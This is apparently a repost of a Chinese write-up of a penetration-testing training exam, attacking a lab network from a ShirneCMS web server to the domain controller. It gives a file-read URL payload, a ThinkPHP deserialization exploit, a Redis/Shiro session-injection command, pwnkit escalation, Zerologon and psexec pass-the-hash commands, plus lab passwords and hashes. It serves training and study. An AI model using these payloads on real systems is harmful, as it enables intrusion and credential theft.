暗月sunday考核

admin 2023年5月29日18:53:08评论59 views字数 2801阅读9分20秒阅读模式

时隔半年月师傅开启了23年的第一次考核,像我这种菜鸟肯定要试试

拓扑图:

         

暗月sunday考核

拿到目标地址为:http://xx.xx.xx.xx/

使用masscan对ip进行端口扫描发现开放22,80,880端口

访问80端口发现目标为shirnecms,同时还有个phpmyadmin:

暗月sunday考核

暗月sunday考核


后台登陆界面:

暗月sunday考核

8080端口为shiro-redis tutorial:

暗月sunday考核

查找shirnecms漏洞发现gitee上有人提交了任意文件读取漏洞

暗月sunday考核

同时还发现一篇反序列化文章:

https://gitcode.net/taochiyudadada/Penetration_Testing_POC/-/blob/master/books/对ShirneCMS的一次审计思路.pdf
https://gitcode.net/taochiyudadada/Penetration_Testing_POC/-/blob/master/books/对ShirneCMS的一次审计思路.pdf


但是发现该漏洞无法利用

发现任意文件读取漏洞漏洞可利用,通过任意文件读取漏洞读取网站配置文件

/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=/var/www/html/config/database.php&maxwidth=-1&referer=test

暗月sunday考核

         

对此进行base64解码成功获得phpmyadmin的账号和密码:

账号:root

密码:vVICDU1Erw

暗月sunday考核

登录phpmyadmin准备写shell:

暗月sunday考核

最后发现无法通过常见phpmyadmin写shell方法写shell,查找后台密码发现sa_manager_log里面存在明文密码直接登陆,账号admin密码1lovehackers:

暗月sunday考核

暗月sunday考核

sa_manager存在加盐后的密码可以替换后进行登陆:

暗月sunday考核

进入后台getshell发现无法成功,进行代码审计:

漏洞点:

暗月sunday考核

生成exp:

O:27:"thinkprocesspipesWindows":1:{s:34:"thinkprocesspipesWindowsfiles";a:1:{i:0;O:17:"thinkmodelPivot":2:{s:21:"thinkModelwithAttr";a:1:{s:5:"smi1e";s:6:"system";}s:17:"thinkModeldata";a:1:{s:5:"smi1e";s:74:"echo+''+>+/var/www/html/public/11111111test.php";}}}}

后台登陆,进入后台配置管理:

http://xx.xx.xx.xx/index.php/admin/setting/index.html

点击保存抓包写入反序列化exp:

暗月sunday考核

         

将数据库accesskey_id改为check访问

http://xx.xx.xx.xx/index.php/admin/setting/index/group/sign.html成功触发

提权:

配置好frp,打开msf生成elf通过哥斯拉上传上去,添加执行权限,执行获得msf的会话

暗月sunday考核

暗月sunday考核

使用run post/multi/recon/local_exploit_suggester模块查询:

暗月sunday考核

使用exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

Use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

设置ip,端口,及session

暗月sunday考核

run成功提权:

暗月sunday考核

上传fscan进行信息收集:

暗月sunday考核

fscan扫描出Redies密码为:abc123

发现开放8080端口,发现为

暗月sunday考核

网上查找该系统利用文章https://xz.aliyun.com/t/11198#toc-3:

构造cc6:

暗月sunday考核

将ser.bin传到kali上,访问8080,登陆获取sessions执行命令:

cat cc6.bin | redis-cli -h 192.168.10.175 -p 6379 -a "abc123" -x set "shiro:session: 9033690f-a983-4861-a5bb-ea2bd6002705"

当时的截图:

暗月sunday考核

访问8080读取session,成功获得反弹shell

上传jsp马进行权限维持,发现为tomcat权限,最后在/home/web/.ssh发现密钥id_rsa

利用id_rsa进行登陆:proxychains4 ssh -i id_rsa [email protected]

暗月sunday考核

暗月sunday考核

发现直接为root权限,发现存在10段

上传fscan进行信息收集:

暗月sunday考核



暗月sunday考核

发现域控为sunday.club,同时为server2012,准备cve-2020-1472一把梭

配置proxychains4代理进10网段

暗月sunday考核

暗月sunday考核

proxychains4 python3 secretsdump.py sunday.club/ad2012$@10.10.10.133 -no-pass获得hash
aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe

         

         

         

暗月sunday考核

暗月sunday考核

使用psexec横向进域控:proxychains4 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/administrator@10.10.10.133


成功获得域控权限:


暗月sunday考核

暗月sunday考核

proxychains4 python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/administrator@10.10.10.137


获得 exchange 权限:

暗月sunday考核


至此成功拿下域控。


结尾:这次考核感觉web较难,考核了php代码审计和java代码审计的技术。

暗月渗透测试培训:

https://mp.weixin.qq.com/s/gEaLwczJBpYeEIphb4QMyw
moonsec,公众号:moonsec暗月渗透测试课程更新


         

         

         

         

原文始发于微信公众号(Security Followers):暗月sunday考核

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日18:53:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   暗月sunday考核https://cn-sec.com/archives/1771162.html

发表评论

匿名网友 填写信息